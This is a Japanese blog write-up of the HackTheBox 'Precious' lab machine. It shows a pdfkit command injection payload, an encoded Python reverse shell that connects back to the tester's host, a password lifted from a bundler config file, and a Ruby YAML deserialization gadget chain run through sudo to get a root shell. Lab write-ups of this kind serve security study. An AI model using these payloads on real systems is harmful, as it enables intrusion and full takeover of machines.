🍏

【HackTheBox】Precious Writeup

2023/05/26に公開

Enumeration

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.11.189

nmapの結果、port22と80が動いています。
ウェブサイトのprecious.htb/etc/hostsに入れます。

Website Enumeration

サイトにアクセスするとこんな感じです。

URLのところにhttps://www.google.comを入れると"Cannot load remote URL!"というメッセージが出てきました。ローカルのサーバー起動してアプリの動作を確認します。

┌──(kali㉿kali)-[~/precious]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

今度はhttp://10.10.14.6:8080/で試しました。submitするとPDFが生成されました。

PDFをダウンロードしてexiftoolでmetadataを見てみます。

┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool 5iphyd396mfxwk63blc68w8iss64yie1.pdf            
ExifTool Version Number         : 12.49
File Name                       : 5iphyd396mfxwk63blc68w8iss64yie1.pdf
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2023:05:24 09:53:09-04:00
File Access Date/Time           : 2023:05:24 09:53:09-04:00
File Inode Change Date/Time     : 2023:05:24 09:53:09-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

pdfkit v0.8.6で生成されたと書いています。exploitを探してみます。
URLのquery parameterでコマンドインジェクションができるみたいです。(https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795)

Foothold

pdfkit Command Injection

このpayloadでインジェクションできました。

http://10.10.14.6:8000/?name=%20`id`


whoamiの結果は"ruby"でした。このままcat /home/ruby/user.txtを入れてみたらフラグが読めなかったです。/homeをみると、rubyとhenryの二人のユーザーがいました。userフラグはhenryの方にあるかもしれません。

ではburpでreverse shell取ります。
interceptしたリクエストはこんな感じです。key charactersはURL encodeされています。

PayloadAllTheThingsのpython reverse shellを使います。
(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#python)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

encodeしたものをburpでリクエストを送ります。

url=http%3a//10.10.14.2%3a8000/%3fname%3d%2520`python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.2",9001))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bsubprocess.call(["/bin/sh","-i"])'`

shell取れました。

┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.189] 57264
/bin/sh: 0: can't access tty; job control turned off
$ whoami
ruby
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$ 

Switch from Ruby to Henry

Henryのパスワードがないとユーザー変えられないので、credentials探します。
/home/ruby中を確認すると、.bundleというあまりみたことのないディレクトリーがありました。

ruby@precious:/var/www/pdfapp$ cd /home/ruby
ruby@precious:~$ ls -la
drwxr-xr-x 4 ruby ruby 4096 May 24 09:46 .
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 May 24 09:46 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

.bundle/configの中にhenryのパスワードがありました。ユーザーを切り替えます。

ruby@precious:~$ cd .bundle
ruby@precious:~/.bundle$ ls -l
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ su henry
Password: Q3c1AqGHtoI0aXAYFH
henry@precious:/home/ruby/.bundle$ cat /home/henry/user.txt

userフラグ取れました。

Privilege Escalation

Enumeration

Henryのsudo権限を確認します。

henry@precious:/$ sudo -l
sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

/opt/update_dependencies.rbの中身はこんな感じです。

update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

コードの中に読み込んでいるdependencies.ymlも確認します。

henry@precious:/opt$ find / -name dependencies.yml 2>/dev/null
/opt/sample/dependencies.yml
henry@precious:/opt$ cat /opt/sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6

実行するとエラーが出ます。パスが指定されていないのでyamlファイルが見つからなかったみたいです。

henry@precious:/opt$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
        2: from /opt/update_dependencies.rb:17:in `<main>'
        1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)

YAML Deserialization Attack

rubyスクリプトのいじれるところはyamlファイルの読み込みだけでした。しかもスクリプトの中はsafe_loadではなくてloadを使っているので、deserializationに問題があるはずです(pythonも同じ)。

ruby yaml deserialization exploitで検索すると、それっぽいリンクが出てきました。yamlの中の任意のコマンドを実行できるみたいです。(https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)

/optdependencies.ymlを作ろうとしたらtouchの権限がなかったです。なので、/home/henryに移動してそこに作ります。実行するコマンドをidにします。
※yamlに余計なスペースが入っているとparse errorが出るので、yaml formatterを使って確認した方がいいです。これで結構時間取られました、、

dependencies.yml
---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: id
          method_id: :resolve

実行するとidの結果が出ました。rootです。
YAML.load()にファイル名だけ渡して(パスを指定していない)場合はcurrent working directoryからファイルを探してくれるらしいです。なので/home/henryでスクリプトを実行すると、同じディレクトリーに入っているdependencies.ymlが読み込まれます。

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
 ...[snip]...

Root Shell

id/bin/bashに書き換えるとroot shellが取れました。

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# whoami
root
root@precious:/home/henry# cat /root/root.txt

rootフラグゲットできました!

Discussion